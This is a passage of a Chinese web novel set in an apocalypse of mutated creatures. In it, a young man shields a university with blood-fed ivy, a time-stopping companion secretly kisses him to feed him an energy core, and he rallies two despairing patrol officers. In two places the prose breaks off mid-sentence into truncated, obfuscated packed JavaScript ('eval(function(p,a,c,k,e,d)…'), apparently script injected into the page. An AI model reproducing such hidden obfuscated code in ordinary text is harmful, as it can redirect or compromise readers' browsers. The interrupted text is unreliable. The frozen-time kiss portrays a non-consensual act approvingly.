这也就意味着,前世裴朔,有很大可能是早早就死于末日初期。 陆亦哉跟在温倦身边亦步亦趋,心里却在想,裴朔这辈子什么时候死。 不爽。 计划之外的变故源源不断,一会儿是楚尽风一会儿又是裴朔。 得找个机会弄死他们。 “你在想什么?” “在想怎么弄……”陆亦哉顿了顿,温良无害地看着温倦,改口说,“弄今天的晚饭。” 温倦古怪地看着他:“就在市区吃。” “好啊,听老师的。”陆亦哉从善如流。 陆亦哉身上有一些事情,是温倦暂时无法解释的。 就比如,他为什么能在半小时内从别苑跑到联盟大学来。 温倦不问,不代表不怀疑。 他只是想着,陆亦哉迟早要回中心城,以后两人就不会再见面了,也就没必要深挖各自的秘密。 “你现在身体如何,感觉好点了吗?”温倦看了眼他的手,虽然知道那上面没有伤口,还是问,“被咬到的地方还疼吗?” 陆亦哉摇摇头:“一点都不疼。” 温倦用手背感受了一下他的体表温度,还是放心不下:“既然都来市区了,顺便去一趟医院吧。” “老师,我不想去。”陆亦哉用害怕的语气说,“我听说,那些被变异生物伤到的病人,去了医院就出不来了。一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但植物有一个无法被变异所优化的缺点——它们行为受限。 尤其像变异爬山虎这类攀缘植物,太过于依赖它们所攀附的物体本身,所以它们几乎不会主动攻击。 但爬山虎的优点就是,它们的生长性极强,一旦彻底释放能力,就能在短短时间内把整个建筑的各个角落都覆盖。 而在它们所攀附的范围内,它们是无敌的。 爬山虎会变成这些建筑表面坚实的壁垒,加固一切被它们攀附的物体。同时,它们的叶片在变异后锋利无比,布满会释放毒液的尖刺。 总之,只要有爬山虎在,温倦有信心,这场地震不会造成太严重的破坏 但温倦没有料到,这场地震并不是灾难本身。 人类要面对的敌人,也不是糟糕的天气和突如其来的地动山摇。 真正的危机来自地下。 联盟大学的地面在短短几分钟内不断开裂出一道道巨大的地缝,黑色的阴影张牙舞爪地撕裂开来,从深不见底的深处,不断涌动着什么…… 外面骤然传来了学生们惊声尖叫的声音。 慌乱的人群没有方向地奔逃,想要尽可能远离过高的建筑,可他们却不慎踩空,跌入地面的裂隙。 慢慢的,逃跑的学生终于发现了不对劲。 那黑暗的深处,正在疯狂朝着光亮处涌出来的,是一只只体型巨大的变异蚂蚁! 跌入其中的所有人,早已被它们当作食物吞入腹中。 变异蚂蚁的速度快得惊人,漆黑的身体在逐渐晦暗的阳光下泛着冰冷的金属光泽,它们的外形仍然保持着普通蚂蚁的结构,但每一只都足有成年人的半身高,它们足肢如镰刀般锋利,轻轻一挥舞,无论是坚实的土地还是脆弱的人类,都将支离破碎。 温倦看到不久前还宁静悠闲的大学校园,即便变成人间炼狱,忽然一阵阵反胃。 一切太突然了,谁也无法预料与想象。 明明人类已经尽其所能地在预防变异生物可能带来的危险,但却就在事情看起来风平浪静,尚在掌握之中的时候,意想不到的麻烦就这样到来。 那个该死的穿书者,他到底是在胡编乱造,还是故意骗人? 他不是说末日在半年后吗? “老师,我们得离开。” 陆亦哉将温倦直接抱了起来,“这些变异蚂蚁恐怕只是来探路的,地下还有别的东西。” 要是等下有太多变异生物入侵,这里也守不了多久。 而且,陆亦哉的状况并不好。 他的重生可不像楚尽风穿书那么简单。 陆亦哉是耗尽自己所有的能量,强行回溯了整个世界的时间线。 重生的那一刻,他的异能就已经出问题了,或者说,他的能量核早已经彻底损坏。 现在陆亦哉每次使用异能,都会不同程度地出现后遗症。 末日提前的时机实在太糟糕,陆亦哉担心温倦放不下这些人类,不肯走。 所以他打算强行带走温倦。 “放我下来。”温倦的语气比想象中冷静。 “我不放。” 陆亦哉知道,温倦一向都是表面待人冷漠,实则比谁都心软。 人类在突如其来的灾难面前太过弱小,他一定会忍不住施救。 可是温倦永远救不了所有人。 “你听话,放我下来。”温倦被他抱在怀里,无法挣脱,只能捧着陆亦哉的脸,柔声解释,“相信我,我不会有事的。” 陆亦哉当然不信。 因为有上一世的经历,所以陆亦哉知道,温倦体内有进化源。 但温倦这个时候,除了能够用血液为变异生物和异能者提供能量外,并没有任何攻击性。 就算他和变异生物建立血液共感后,可以操纵它们。但现在这个情况,温倦又能操纵谁? 难道要让温倦主动把自己,喂给那些密密麻麻的巨型蚂蚁,然后再操纵他们吗? 可温倦只要现在敢出去,还不等和变异生物建立共感,就会先被它们拆吃入肚! “陆亦哉,我不是傻子,我不会为了救别人牺牲我自己。” 温倦知道陆亦哉是担心他,所以他没有强行挣扎,他很难得地对着陆亦哉笑了笑。 陆亦哉为他这个短暂的笑容而怔了片刻。 “我给你看一个东西,你不要害怕。”温倦轻声在陆亦哉耳边说着悄悄话。 他的呼吸仿佛一片羽毛,扫过陆亦哉的耳畔,像是一枚不经意的吻。 陆亦哉忽然觉得末日也没什么大不了的了。 为这一刻,再回溯一次世界也不是不可以。 而就在这时,教学楼的爬山虎忽然肉眼可见地急速生长起来。 它们的叶片像风铃一样哗啦啦作响,从地面开始向外延伸开来。 短短几秒时间,这片绿色已经蔓延出去数米远,不难想象,只要再给它们一点能量,一点时间,整个联盟大学,都将被它护在叶下。 陆亦哉将视线从爬山虎收回,沉默地看着温倦,片刻,终于还是将他轻轻放下。 “今天还是回家吃饭吧。” 温倦忽然没头没尾地说了这么一句。 陆亦哉将温倦有些歪掉的眼镜轻轻扶正,笑着应下来:“好。” - 14.第 14 章 首都发生地震的同时,全球其他地方也正在遭遇难以想象的危机。 一场海啸不仅摧毁了大半沿海区域,还将海底可怕的变异生物带来了陆地,热带气旋把人类的高楼大厦顷刻变为废墟,风暴里更是潜藏着无数变异猛禽。 几只翼展超过百米的巨型黑鹰盘旋在联盟上空,它们几乎遮天蔽日,尖啸刺破苍穹,成为了许多幸存者心里挥之不去的阴影。 医院乱作一团,奔逃的人们在楼道里相互拥挤,像失控的潮水,没有方向地涌来涌去。 所有人都被困在了这里,外面狂风暴雨电闪雷鸣,可怕的怪物在街道上肆虐,院长和医护人员带着所有还能行动的病患以及家属陪护一起,着急忙慌地把整个医院的门窗死死关住,好像这样就能建筑铜墙铁壁。 然而暴雨已经淹没了一楼,并且水位肉眼可见地正在上涨。 “报警了吗!?安全巡防队呢?不是说24小时安全管控吗?都这样了,怎么看不见人!” “还巡防队呢,你没看见医院外面都成什么样了?街上的巡逻警察恐怕早就被怪物吃掉了!” “……那我们、我们怎么办?” “等死!” 事实上,恐慌的人们并没有意识到一件显而易见的事:外面到处都是变异生物,巨型的飞禽走兽,攻击性极强还会喷射毒液的蛇虫鼠蚁,它们轻而易举就能把楼房踏平,把人类蚕食鲸吞。 但它们却没有进入这间医院。 怪物们不是看不见医院里有人,但它们似乎在刻意避开这里。有几次,大门几乎已经要被一种甲壳坚硬的节肢类怪物撕碎,但下一刻,怪物却主动放弃了攻破大门,悻悻离开。 “已经联系上指挥处了,现在情况比我们想得更糟糕……不过,中心城那边似乎应对得不错,受到的冲击很小,应该可以在最快时间整顿好,展开救援。” “有没有说什么时候过来接少校?” “现在没有办法,无论天空还是陆地,都已经被变异生物攻占,风暴地震海啸是它们最好的防护。我们只能等。” “等可以等,但前提是真的能等到。外面这个样子,每秒都能死成千上万的人,中心城又不是大罗神仙,就算把全部兵力派出来也不可能救下所有人。所以他们的优先级是什么?第一个被放弃的是哪里?” “这个不必你我操心,我相信指挥处的决策。” “我可不相信!所以说,当时为什么不直接把少校接去中心城?那里的医疗条件明明更好!以少校这些年对联盟的贡献,就算他永远醒不来,联盟也该照顾他到死,凭什么陆朝之说不让少校进中心城,联盟就真的把少校留在这个乡下医院,这太不公平了——” “这不是公不公平的问题,少校昏迷了这么久,那边的人自然有考量……” “考量个屁!不就是担心少校被变异生物感染病毒了吗!那群怂炮,还没研究出来为什么会有物种变异,就已经开始担心自己小命不保了!要是我被病毒感染,我第一个咬死他们!” “别乱说话……等等,我好像觉得,少校刚才动了一下?” “你少用这种事转移话题!” “不,是真的!” … 解子期一睁开眼,就看见自己的两个下属热泪盈眶地趴在他身上,凄凄切切地喊着什么“少校啊少校”“老天保佑”,然后顺手把眼泪鼻涕擦在他的被子上。 “滚蛋,恶不恶心。” 解子期毫无缠绵病榻多日的虚弱,整个人看着精神还不错,直接掀开两人下了床,左右打量了一下这间小得可怜的病房,说,“有没有吃的,饿死老子了。” 廖奚有些欲言又止地看着解子期,不知道该从何说起。 口无遮拦的吉威张嘴就嚎:“少校,世界末日了您还想着吃呢!” 他们用最快的语速告诉解子期发生了什么,本以为昏迷将近一个月的解子期会对世界的变化大感震惊,结果发现解子期看起来还算平静。 他给自己倒了杯水,抬手挥了挥。 吉威屁颠颠凑上去:“您什么指示?” 解子期说:“我要吃饭。” 吉威:“……” 廖奚也看出来解子期不是开玩笑,他恐怕是真的饿得受不了,所以才会在这么紧急的时候还是强调要进食。 于是廖奚接下了这个任务,跑出去想办法从拥挤喧嚣的人群里寻觅到了一点食物。 这很不容易,要不是医院的人听说他是军队的人,对他抱有三分敬重和七分求救的心情,这个时候恐怕根本没人会愿意与他分享食物。 几分钟后,廖奚带着两包饼干跑回了病房,解子期一句话都没说,接过来拆了包装袋就开始吃。 廖奚感慨:“二楼已经被淹了,如果暴雨还不停,这个医院迟早也守不住。我刚才听到有医生在组织病人和家属,准备撤离。我们也不能再待下去了。” “幸好一直没有变异生物进来。”吉威也说,“要不咱们早就被撕吧撕吧吞进怪物肚子里了。” “廖奚。”解子期竟然已经两口解决完了一包饼干。 廖奚下意识立正:“到!” 解子期说:“告诉所有医护人员禁止撤离,原地待命。等暴雨一停,联盟一定会派来救援,到时候再听安排。” “可、可是少校,这里快淹了,留下来不是让他们等死吗?” “淹不了。”解子期吃完第二包饼干,仍觉得杯水车薪,对廖奚说,“再给我多找点吃的,我把楼下的水弄出去。” 廖奚愣了好一会儿,没反应过来解子期这句话的意思。 反倒是一向看起来不太爱动脑子的吉威,这次脑筋转过弯来了。他抓着少校的肩膀用力摇晃,大喜过望: “少校,难道那些变异生物不敢进医院是因为您?所以陆朝之那个老家伙没骗人,您果然也变异了?!” 陆朝之被接去中心城以前,跟他们交代过要好好照看解子期,一旦解子期有醒来的迹象就要联系他。 那时陆朝之留下一句话,吉威记不全了,大概就是说,他和解子期在还鳞山遭遇致命危机的时候,解子期突然爆发了一种神奇的力量,把周围一切变异生物都阻挡开来,他们这才勉强脱险。 所以陆朝之认为,解子期应该是受到还鳞山当地某种能量辐射的影响,也出现了类似变异的情况。尚不知道这种变异是好是坏,只能等解子期醒来再观察。 他没有将这件事上报给中心城,因为一旦解子期长久醒不过来,以中心城那些研究所的行事作风,恐怕没有耐心等待,会直接把人搬上实验台。 “别废话,赶紧去给我找吃的。”解子期眉头紧蹙,身体里那种被耗空的感觉让他有点难受,“我得补充点能量,不然这医院很快就守不住了。” 廖奚和吉威哪还敢浪费时间,立刻兵分两路去给他找吃的,一路上不仅要安抚群众,用“军方已经在来救援的路上”作为借口,阻止他们撤离,同时还要厚着脸皮找路人索要各种各样的食物。 幸好,很多陪护家属带了热饭,这下可以说是大收获,他们立刻拿了给解子期送了回去。然后眼睁睁看着解子期一口气吃完了十人份的饭菜。 就这样解子期还是觉得不够。 吉威忍不住吐槽说:“少校,您是变异成饕餮了吗?” 解子期将刚刚恢复的能量释放出来,加固了医院这个空间的防护,然后一脚踹着吉威屁股上:“你特么还知道饕餮呢?等回去抄一千遍饕餮俩字儿给我。” 吉威:“卧槽!” 廖奚挤开吉威,向解子期汇报了一下现在的情况,包括刚才他和指挥处以及中心城那边的通话内容也都一一说明。 “军队那边有很多战士,都在差不多的时间出现了高热的情况,巡防队的卫兵在和变异生物的交战中也死伤惨重,现在全世界各地都遭到了不同程度的灾害和变异生物入侵,联盟政府自身难保,短时间内恐怕没有办法进行救援。” “离我们最近的驻防部队在哪里?” “首都城,驻军人数约有十万。由维恩少将负责指挥。”廖奚神色晦暗,“目前已经失联。” 解子期默了片刻,问:“首都受灾很严重?” “其实全球任何地方的情况都很糟糕,无法评估究竟谁比较严重谁比较轻松,但首都城有一所全世界最大的生物研究所……” 他没有把话说完,但解子期已经可以料想是什么情形。 首都综合生物研究所隶属于联盟科学院,结合植物学、动物学、微生物学等,专注研究生物进化以及遗传改良。 自从开始生物管控以后,研究没有停止,因为变异生物的突然出现,致使社会恐慌,所以政府一再要求研究所尽快调查生物变异的主要原因。 因此最近这段时间,全世界各地陆陆续续送过来很多不同变异方向的生物。 也幸好,首都研究所有着全联盟安全等级最高的,高危实验生物收容区,加上军方配合研究所进行生物管理调查,提供了大量人手,24小时协助观测实验室里的样本,所以尚未出现任何变异生物伤人的事故。 但今天这场突如其来的大地震,是人力所无法抵抗的,研究所的收容区就算配备再精良的武器和装备,恐怕也于事无补。 一旦研究所失守,首都的情况可想而知。 解子期看了一眼窗外,暴雨几乎将整座城市淹没,他们所在的医院已经是最后的防线。 “去首都。”解子期站起身。 “可是首都万一已经……”廖奚有些迟疑,“我们是不是应该在这里等待中心城的救援比较好?” 吉威想也不想就持反对意见:“好个屁!全世界那么多个国家,那么多座城市,中心城再了不起也不可能全部救完。我们好歹是第一军团的军人,这个时候本来就应该去救援别人,如果还要等着别人来救,还特么不如现在就跳下去淹死!” 廖奚:“……虽然你说的有道理。” 吉威:“有道理就出发!走走走,去首都!” 廖奚:“我是想说,我们一没飞机二没船,怎么去首都?” 吉威一听,也是这个道理,于是转过头问解子期:“对啊少校,咱们怎么去啊?” 解子期蹙着眉,沉默许久,周身散发着冰冷沉稳的气息,给人一种他此刻正在思考人类存亡之大事的感觉。 然而下一秒,他开口说:“再给我弄几碗饭来。” 廖奚:“?” 吉威:“……” - 无论是变异生物,还是人类,只要使用异能过度,就会产生能量耗损。往往异能越强大,使用后的耗损情况越严重。 一般情况下,轻微的能量耗损是可以通过吃饭睡觉来恢复的,所以变异生物不断吞吃人类,以达到补充能量的作用。 但严重耗损的话,吃饭睡觉就不管用了,变异生物也不会只想吃普通人类。 最终,就需要汲取能量核里的进化能量——无论是变异生物、觉醒异能的人类,身体里都会有能量核。 温倦在两分钟前,达到了轻微的能量耗损。 他把自己的血主动喂给贪得无厌的爬山虎,如今这种变异植物已经长满了整个联盟大学。 茂盛繁密的巨型叶片将地面的裂缝遮盖得严严实实,带着剧毒的汁液渗透地面,那些妄图从地下钻出来的变异生物都吃到了教训,带着一身的伤灰溜溜地又躲回了属于它们的黑暗里。 被困在学校里的学生们,一开始看见这些不断生长的爬山虎,个个都露出了死期将至的惨白面相,直至后来发现,这些哗啦作响的变异枝叶似乎没有伤人的意图,于是劫后余生地找到其他幸存同学,结伴躲进了爬山虎的庇护。 只是,温倦能给爬山虎的能量有限,它们生长到一定程度,就无法再继续变强。变异进化是有阶段,一旦到了某一阶段的突破口,只是单纯的喂血是不够的。 以它们现在的变异程度。最多能够把联盟大学这片区域覆盖,而超出这个范围的其他地方,温倦实在有心无力。 他将手从爬山虎上面收回,短时间内的失血,使他整个人看起来都有些病态的苍白。 陆亦哉从不远处跑过来,手里还拎着两个被吓晕过去的大学生。 “怎么样?”温倦快步走上前。 “比预想的好,没有人傻到主动去变异生物跟前送死,我提醒他们往有爬山虎的地方去,他们也就去了。” 这种时候,大多数人都已经没有了思考能力,只要人群中有一个声音告诉他们该怎么做,他们都会下意识地照做。 在陆亦哉的疏散下,如今学校里的学生应该都已经到了安全的地方。 可以稍微歇歇了。 陆亦哉把手上拎着的两个同学放到一边,然后走到温倦身边,什么也不做,就睁着一双大眼睛看向温倦。 温倦还没从能量耗损后的疲惫中缓过来,余光瞥见他,叹了声气:“看我干什么,被我吓到了?” 温倦从来没有在人前使用过自己的力量,如今当着陆亦哉的面,暴露了个彻底,自然做好了准备接受盘问。 但陆亦哉只是看着他,然后用崇拜的口吻说:“好帅啊,老师,你简直像电影里拥有隐藏力量的超级英雄。” 温倦噎了一下,忘了自己原本准备好的答案,脱口而出:“还好吧。” 然后又佯装镇定地和陆亦哉说,“哦对了,我打算去外面看看。” 学校里虽然暂时安全,但学校之外的地方,早已沦为地狱。 温倦没有做救世主的兴趣,而且严格来说,这些变异生物和他甚至算是同根同源,人类和变异物种站台面前,他不一定和哪边是同类,也就不存在要拯救某一方。 但话是这么说,实际上又不可能真的做到袖手旁观。 “我和老师一起去。”陆亦哉倒是没有反对,“人多了,你救不过来。” 温倦抿着唇看他,一时没说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那些怪物一闻到进化源的气息,兴奋雀跃地撕咬温倦的皮肤,险些将他生吞活剥。 陆亦哉并不知道当时温倦是如何逃出来的,温倦从来没有跟他提过。 上一世,变异爆发初期,陆亦哉就进入了觉醒期,一直高热昏迷不醒。 后来温倦救了他,等他醒来的时候,距离一开始的爆发已经过去了一个月之久。 那时陆亦哉一睁眼就看到温倦,温倦身上被变异生物弄出来的伤还没有恢复完全。他跟陆亦哉道歉,说自己没有救下院长,也没有救下爷爷奶奶外公外婆。 陆亦哉没有怪温倦,他怎么可能怪温倦?那种时候,就算温倦直接逃走,也是情有可原。 更何况,温倦已经试过了,他竭尽全力但无能为力。 当年的陆亦哉太年轻,情绪起伏很大,得知自己家人都死了,他哭了很久。 但年轻的他没有想过,那些伤心的哭泣,对温倦而言,也是一种无声的斥责和抱怨。 斥责他的能力太弱,救不了所有人,抱怨他独自苟活,没心没肺。 内疚自责从未在温倦心里释怀。 所以后来他才会答应陆亦哉去人类基地,也会在根本没有任何把握和退路的情况下,答应基地研究所,接受所谓的“超级进化”实验。 “研究所离这里还有一段距离,我应该去不了。”温倦实话实说,“以现在的情况,我不至于要去送死。” 其实温倦想过,如果外面的变异生物对他没什么攻击性,他是不是可以尝试赶去科学院救人。 但这种想法只出现了片刻,就被他压制下去了。 温倦现在不是自己一个人,他要是出事了,这些爬山虎没有了指令,恐怕比地下的蚂蚁还要恐怖几分,联盟大学里所有人就别想活命了。 “你在学校里等我,我和这些爬山虎的共感范围有限,不会走太远。” 温倦没有再多说,交代了陆亦哉两句,就独自朝校外跑去。 陆亦哉看着他转身,没有阻拦,也不需要阻拦。 温倦去到变异生物堆里,就跟回家一样,只要他不主动把自己喂给它们,那些怪物不会碰他。 而且陆亦哉知道,只要联盟大学里还有一个活人,温倦就不会放弃这里,所以他应该是真的只是在附近看看。 温倦自认为跑得很快,但他的体能上限不高,跑出去不到百米已经开始喘气,只好放慢了脚步。 也就是在这时,一直站在身后目送他的陆亦哉,忽然动了。 随着陆亦哉抬脚,一步一步朝温倦走来。周围的一切仿佛都停了下来。 来自远处的人们的尖叫与喧哗忽然消失,风不再刮,地面不再震动,一切的一切都停在了这一刻。 也包括正在往外奔跑的温倦。 陆亦哉走到他身边,脸上是淡淡的笑意,抬手轻轻抚在温倦的脸颊,尾指勾了勾他柔软的耳根。 几乎是习惯性地,陆亦哉捏了捏温倦的脸,从不喜欢与人亲近的温倦,此刻就仿佛是个被拔走发条的洋娃娃,不言不语也不眨眼地任他揉捏。 “能量耗损不是小事,你总是这样不注意自己的身体,我会担心的。” 陆亦哉对着一个不会回答他的人自言自语。 其实他现在不应该再频繁使用异能,然而今天为了赶来学校,他用了一次,现在,又用了一次。不知道事后会不会又出现什么后遗症。 温倦的能量只是轻微耗损,陆亦哉就觉得事关重大,性命攸关。 然而自己的能量核都已经枯竭到不可逆的程度了,陆亦哉却又觉得无所谓。 他不知从哪里,竟然拿出了一枚能量核——这是从楚尽风身上找到的。楚尽风这个穿书者,虽然人有点傻,但身上倒是有好东西。这个能量核起码已经是变异二阶,可以汲取到不错的能量。 陆亦哉当时从楚尽风身上搜出来的时候,原本是想着,万一哪天自己穷途末路了,也许还能靠它续一会儿命。 但现在,他轻易就将能量核的归属权赠予了温倦。 反正以他的身体情况,汲取再多能量,也不可能把自己的能量核恢复如初。 倒不如给温倦补充一下体力,免得温倦等下跑两步把自己给摔了。 陆亦哉轻轻捏着温倦的两颊,将他的唇齿隙开一道小缝,指尖抵着,就像给小猫喂药一样,试图寻找此猫的嗓子眼。 可惜小猫不乖,不愿意主动接受投喂,即便陆亦哉已经把能量核放进他的嘴里,他还是唇红齿白地憋着劲儿不吞。 好吧,不能怪温倦。 在陆亦哉视线范围内,一切同维度的时间都被暂停,温倦作为这个维度的人,自然也无法打破这种桎梏。 于是陆亦哉只好想了另一个办法。 他以一种不太诚恳的方式,捧着温倦的脸,向他道歉:“你不要生气。” 随后,便垂眸,慢慢吻上温倦柔软的嘴唇,舌尖探入其中,递了两回气,把温倦的两腮弄得鼓鼓的,好不容易才叫他把能量核吞了进去。但作乱的舌头仍不出来,在温倦湿热的温度中搅得他轻轻颤抖。 直到异能出现不稳的情况,陆亦哉才不得不遗憾地退了出来。 他的指腹贴在温倦的嘴角,擦掉了一点带出的银丝,笑着说:“没关系,反正你不会知道。” - 15.第 15 章 温倦刚才有一瞬间,以为自己吞了什么东西进肚子里。 但因为太短暂,他还没来得及反应,那种感觉就稍纵即逝。 倒是舌头有点麻麻的。 也许是因为刚才喂了爬山虎太多血,导致他现在时不时会出现一些轻微的不适。 他伸出舌头舔了舔嘴唇,找回了一点知觉,脚步一刻不停地跑向学校外面。 温倦跑了一会儿,才发现自己突然变得好有精神。刚才那种疲惫的状态已然不见。 他很确定这短短几十秒的时间里,他什么都没做,但仿佛突然就充满了电。 真是奇怪。 温倦跑出了爬山虎的覆盖范围后,再没有时间细想这些微妙的古怪。 眼前的景象让他一时怔愣无言。 距离学校不远处的商业街,曾经最是繁华热闹,而现在几乎已是废墟。一切都不复往日。 倾倒的路灯横七竖八地倒在路中央,失控的汽车撞在一起,有的车门敞开,有的还在空转。 过去车水马龙的繁华街道,已在地震中裂出道道深渊,不断有变异生物从地下爬出,它们的肢节与地面摩擦出一种刺耳的声音,锋利可怕的尾勾兴奋地挥舞,轻易能将人类世界坚不可摧的钢筋混凝土切碎。 到处都是血肉与尸骸。 温倦突然不敢再往前走。他怕自己迈出去的下一步,就会踩在某个人类的断肢上。 这时,路口方向传来连续的枪声。 温倦猛地回过神,将视线收回,循着枪声的方向跑去。 …… “别浪费子弹了,这些怪物根本不怕,它们的壳太硬了,我估计坦克来了都够悬。” “还有力气开玩笑,我看你暂时是死不了。” 两名巡逻警察背靠着一辆侧翻的越野车,勉强构成一道防线。 尽管他们知道,这种脆弱的防护对于地下来的怪物而言,犹如软绵绵的泡沫。 他们身上都有大大小小的伤,其中一人的左臂已经被怪物的尾勾从上臂中段处切断,尽管已经在第一时间止血,但收效甚微。 他惨白的脸上做出了一个难看的表情:“还是没联系上裴队吗?得想办法,把那些学生救出去——” 地震爆发的时候,他们二人所在的巡逻小队,正在附近街区执勤。 今天有不少联盟大学的学生返校,三五成群聚在一起逛街。 地震时,大家都下意识地想要远离建筑群,疯狂往外跑。 巡逻警察显然注意到了比地震更加危险的东西,他们反应迅速,带着当时没有跑掉的一群学生,躲到了商场四楼的电影院,避开了第一波变异怪物的袭击。 然而躲起来并不能高枕无忧,如果地裂继续下去,城市里所有的建筑都会毁于一旦。 同事摇了摇头:“虽然通讯没断,但队长的电话一直没人接。” “他应该就在联盟大学里。要不然,我给你打掩护,你尽可能地跑。反正我也活不了……” “掩护个屁,那些怪物可不会陪你玩游击,咱俩稍微冒个头就得死。”同事很不留情面地拒绝了。 “可是不联系上裴队的话……” “乾明,现在这种情况,你觉得就算找到队长,他又能做什么?” “也许裴队可以联系上联盟。” “联盟又能做什么?”他看着乾明那条断掉的胳膊,有些茫然地问,“人类真的能战胜这些怪物吗?” 乾明沉默。 他们都不是基层民警,在成为巡防队成员以前,他们一个曾是武警,一个是联盟公安部反恐大队特战队员。 不仅他们,巡防队的每个成员战力都不低。 显然,联盟政府早就预料到,变异生物迟早有一天会对人类产生威胁。 联盟不是没有准备,巡防队的建立已经是短时间内最有效的一种安全防范。 可以说,人类已经做到了现阶段能做的全部。可是灾难真正到来的时候,他们才意识到,一切都是徒劳。 光凭人类是无法战胜这些怪物的。 又一阵强烈的震动,这一次,就在他们脚边,地面陡然裂开了一道口,随着震动的加强,裂缝逐渐扩大。 绝望沉沉地压在二人心头,他们竟然都没有跑,转头看了对方一眼,从彼此眼中都看到了一种麻木。 又能跑去哪里? 反正,不管是他们,还是那群躲在电影院的学生,又或者远在别处的其他人类,最终都会沦为怪物的腹中餐。 地下的怪物正在蠢蠢欲动,它们没有嘶吼,但爬行的声音代替嘶吼成为了一种震慑。 忽然,乾明用完好的另一只手,举起枪来。 郑杰看着他,没说话。 枪里的子弹,打不穿怪物的甲壳,但可以穿透他们的头颅,让他们至少死前不用感受到被切开嚼碎的痛苦。 乾明把枪往前递了一下:“你先?” 郑杰很客气:“你先吧。” 一道清冷的嗓音突然在他们头顶响起: “是非得死吗。” 两人吓得浑身一激灵,猛地抬头:“!!!” 车上不知何时立着一道瘦削的身影,背着光,单薄而挺拔地站在那里,冷淡的眸子居高临下睨着他们。 “你是谁?” 温倦没有回答,这种时候做自我介绍显然没有意义,他看了一眼伤得比较重的乾明,说:“还能走吗?我带你们去安全的地方。” 乾明张了张嘴,心里无数的疑问,最终吞进了肚子里—— 这个时候出现的人,无论是谁,对他们而言都是一份希望。 哪怕温倦只是他们俩死前的一个幻想,也无所谓了。 于是乾明点了点头:“应该……还可以。” 郑杰有些惊讶地看了乾明一眼,显然是觉得他很荒谬,竟然相信一个突然出现的人能救他们。 郑杰打量了温倦片刻,那张过分清秀的脸,以及他看起来被风一吹就会倒的清瘦身形,无论如何都不敢将希望托付给温倦。 在他犹豫的时候,乾明已经一只手臂强撑着站了起来。 温倦从车身轻巧跳到另一块凸起的石壁上,尽可能地不去踩地面上乱七八糟的红色泥土。 乾明跟着温倦,往旁边挪了一点,发现郑杰没动,就回头催他:“走啊,你愣着干嘛?” 郑杰还是坐在那片阴影里,他不远处就是地裂,随时可能扩大至他脚边。但他一动不动,抬头对着乾明笑了笑,又看向高处的温倦,说:“你俩走吧,我给你俩打掩护,等会儿就跟上。” 乾明一下就明白他的想法。 他留在这儿,那些怪物爬出来自然会马上发现他,它们可能需要花一点时间来撕碎这个人,刚好可以给乾明和温倦挤出一点点逃跑的机会。 虽然这个时机可能也没那么好,逃掉的概率小之又小。但郑杰也实在想不出别的办法。 乾明忽然也泄了气,竟又走了回去,对温倦说:“同学,你走吧。我们俩给你打掩护。” 温倦:“……” 和这两个家伙沟通真费劲。 虽然他也知道,他突然出现,又莫名其妙说要带他们去安全的地方,听起来确实不值得信任。 但他不擅长解释。又或者说,他没必要解释。 就像他在陆亦哉面前控制了爬山虎,他也没有给陆亦哉解释,为什么自己的血会有这样的效果。 陆亦哉就很信任他,沟通起来特别顺利,指哪儿打哪儿,听话懂事。 这样的人才能在故事里活到最后。 温倦盯着面前这两个人,说:“你们就是书里活不过一行字的炮灰。” 乾明:“……什么?” 郑杰苦笑:“说起来是有点像。” 这时,酝酿许久的地震终于打开了一道新的出口,新一批的怪物大军顺利地重见天日。 它们从深渊里爬出来,与三人相距不过数米的距离。 乾明和郑杰有着保护民众的使命,即便他们自身也难保,但还是下意识地对温倦大喊:“快跑——” 温倦面无表情地看着他们:“你们好像已经完全放弃了,是吗。” 二人皆是一怔。 温倦又说:“即便有一个活下来的机会,你们也不想再尝试,因为你们已经认定人类没有未来,活着只是延长了这种垂死挣扎的痛苦。人类何其脆弱,脆弱到甚至不需要真正面对敌人,就已经将自己的命运拱手相让。” “我明白的,放弃是最简单的事。” “不用背负任何使命,也不需要向任何人交代,一颗子弹就能结束这场噩梦,又何必跟着一个陌生人去赌一个不确定的未来。” 温倦不再看他们,说着话的功夫,便自顾自地准备离开,但又在转身的时候,漫不经心地留下最后一句: “那没有子弹的人怎么办呢。” 话音落地的那一刻,一只巨型节肢类怪物的尾勾重重扫过地面,几乎就要将刚才两个巡逻警察拦腰截断。 原本已经放弃求生的两个人,这下竟以快得惊人的速度从地面弹开,躲过了那一个致命的扫尾。 他们蓦地对视,发现对方眼里的麻木竟不知不觉间散去,常年在危机中作战的本能,使得两人现在浑身紧绷,肾上腺素飙升,竟像是又回到了最开始的战斗状态。 温倦头也不回地往学校的方向走,速度很慢,颇有些故意在等人的嫌疑。 片刻后,两名巡逻警察已经跟了上来。 他们没有跟温倦解释,为什么最终还是选择继续苟活,去赌一个未来。或许他们自己也知道无法解释。 在想要自杀的那一刻,无非就是胆怯了,温倦说的没错。他们打算放弃所有一了百了,同时也就放弃了还在商场等他们好消息的那些战友和学生。 他们竟然在极度的绝望中险些做了让自己都看不起的决定。 如果不是这个青年突然出现,几句话点醒了他们,恐怕他们已经准备去投胎了——然而谁又能保证,下辈子他们不会又碰到一次末日呢? 人如果恐惧命运,就永远会是命运的俘虏。 虽然横竖大不了一死,但终究不想死得那么窝囊。 本以为会遭到嘲讽,但温倦看见他们跟上来后,表现得很平静,似乎压根不在意他们经历过怎样的思想斗争。 这让他们心里有了一些安慰。 也许,这个人并没有看不起他们。 乾明看了温倦好几眼,终于还是忍不住,试探性地问出了一直想问的问题:“小兄弟,你说的安全点在哪里?” 温倦言简意赅:“联盟大学。” 听到他的话,乾明和郑杰第一反应是,裴队在学校里! 难道,队长阻止了学生们成功打退了怪物? 不……他们亲自面对过变异生物,那根本是无法战胜的,除非联盟大学里有和怪物一样强大的存在,否则即便是裴队拿着火力最强的武器,也不可能一个人守住学校。 他们实在太好奇了,有无数问题想要温倦给他们解答。 可惜,之后无论他们再问什么,温倦都不解释了。 